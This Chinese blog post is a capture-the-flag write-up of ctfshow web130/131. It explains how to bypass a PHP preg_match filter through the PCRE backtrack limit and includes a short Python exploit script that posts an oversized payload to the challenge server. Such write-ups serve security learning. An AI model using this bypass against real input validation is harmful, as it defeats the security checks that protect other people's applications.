首页 > 其他分享 >ctfshow web130.131(突破正则!)

ctfshow web130.131(突破正则!)

时间:2022-10-19 21:25:22浏览次数:52  
标签:次数 正则 web130.131 ----- ctfshow 回溯 data

if(isset($_POST['f'])){
    //$f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

130 没有进行类型转换,非常好过,因为stripos这个函数有三个返回值:

1.bool(false) -----> 未找到需要查找的字符串

2.NULL -----> 第一个参数是数组

3.int(?) -----> 找到字符串的位置并返回该数字

131 正则表达式溢出:

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
原文链接:https://blog.csdn.net/miuzzx/article/details/109181768

python脚本如下

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

 

标签:次数,正则,web130.131,-----,ctfshow,回溯,data
From: https://www.cnblogs.com/meng-han/p/16807810.html

相关文章

  • ctfshow web129(目录穿越)
    if(isset($_GET['f'])){$f=$_GET['f'];if(stripos($f,'ctfshow')>0){echoreadfile($f);}}用php伪协议绕过,filter伪协议支持多种编码方式,无......
  • ctfshow web128(_()函数,php_gettext.dll)
     _()是一个函数_()==gettext()是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dllget_defined_vars()函数get_defined_vars—返回由所有已定......
  • 正则工具
    /***@param:[soap,rgex]*@description:返回指定字符中间的字符串*/publicstaticStringgetSubUtilSimple(Stringsoap,Stringrgex){......
  • ctfshow CRYPTO RSA系列
    ctfshowCRYPTORSA系列目录ctfshowCRYPTORSA系列babyRSA分析解题esayrsa1分析解题esayrsa2分析解题esayrsa3分析共模攻击解题babyRSA题目:e=65537p=10404683571......
  • [other] 正则表达式速查表
    正则表达式速查表正则表达式速查表正则表达式在线验证......
  • 常用正则
    1、身份证校验规则isIdCard:function(value){return/^[1-9]\d{5}(18|19|20)\d{2}((0[1-9])|(1[0-2]))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$/.test(va......
  • ctfshow web112(伪协议绕过is_file函数)
    $file=$_GET['file'];if(!is_file($file)){highlight_file(filter($file));}else{echo"hacker!";}这里的is_file函数,在使用php的伪协议时候会返回false,除......
  • ipv4/ipv6正则校验
    functionis_ipv4(str){ varreg=/^((25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d).){3}(25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)$/; returnreg.test(str);}functionis_ipv6(str......
  • Jmeterif控制器、操作数据库、正则
    一、Jmeter逻辑控制器可以控制取样器(Sampler)的执行顺序,它由多个逻辑控制语句封装成不同功能的组件组成。只对其子节点的Sampler有效。分为两种类型:1、......
  • ctfshow web111(变量覆盖+PHP超全局变量)
    functiongetFlag(&$v1,&$v2){eval("$$v1=&$$v2;");var_dump($$v1);}if(isset($_GET['v1'])&&isset($_GET['v2'])){$v1=$_GET['v1'];$v2=......